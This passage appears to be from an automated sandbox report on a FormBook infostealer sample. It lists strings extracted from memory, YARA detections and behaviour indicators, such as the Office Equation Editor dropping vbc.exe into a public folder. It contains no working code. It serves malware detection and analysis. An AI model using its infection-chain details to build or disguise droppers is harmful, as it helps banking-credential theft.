Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yam.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search1.taobao.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exe, 00000006.00000000.2179653541.0000000004F30000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://service2.bfast.com/
Source: explorer.exe, 00000006.00000000.2177886742.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.aol.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.lycos.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.t-online.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://web.ask.com/
Source: explorer.exe, 00000006.00000000.2178898081.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000006.00000000.2177886742.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://www.%s.com
Source: explorer.exe, 00000006.00000000.2192290237.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&tag=ie8search-20&index=blended&linkCode=qs&c
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ask.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2178898081.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.si/
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2177886742.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000006.00000000.2178898081.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&a=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2177437554.00000000039F4000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.2186067219.000000000861C000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&Version=2008-06-26&Operation
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://z.about.com/m/a08.ico
Source: vbc.exe	String found in binary or memory: https://github.com/georgw777/
Source: vbc.exe	String found in binary or memory: https://github.com/georgw777/MediaManager
Source: vbc.exe, 00000004.00000002.2169328124.0000000000FA2000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2168397279.0000000000FA2000.00000020.00020000.sdmp, netsh.exe, 00000007.00000002.2372143116.00000000029CF000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/georgw777/MediaManager;https://github.com/georgw777/
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419D50 NtCreateFile,	5_2_00419D50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419E00 NtReadFile,	5_2_00419E00
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419E80 NtClose,	5_2_00419E80
